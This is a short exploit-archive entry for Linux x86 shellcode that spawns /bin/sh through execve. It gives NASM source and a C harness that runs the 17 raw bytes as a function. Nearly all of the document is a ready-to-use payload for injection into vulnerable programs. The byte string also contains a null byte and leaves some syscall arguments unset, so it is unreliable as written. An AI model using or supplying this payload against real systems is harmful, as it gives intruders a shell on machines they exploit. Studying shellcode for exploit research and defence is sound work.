30 lines
No EOL
578 B
C
30 lines
No EOL
578 B
C
# Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)
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# Author: s1ege
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# Tested on: i686 GNU/Linux
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# Shellcode length: 17
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/*
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; nasm -felf32 shellcode.asm && ld -melf_i386 shellcode.o -o shellcode
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section .text
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global _start
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_start:
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push 0x0b
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pop eax
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push 0x0068732f
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push 0x6e69622f
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mov ebx, esp
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int 0x80
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char code[] = \
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"\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
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int main() {
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printf("Shellcode Length: %lu\n", sizeof(code)-1); // subtract null byte
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int (*ret)() = (int(*)())code;
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ret();
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return 0;
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} |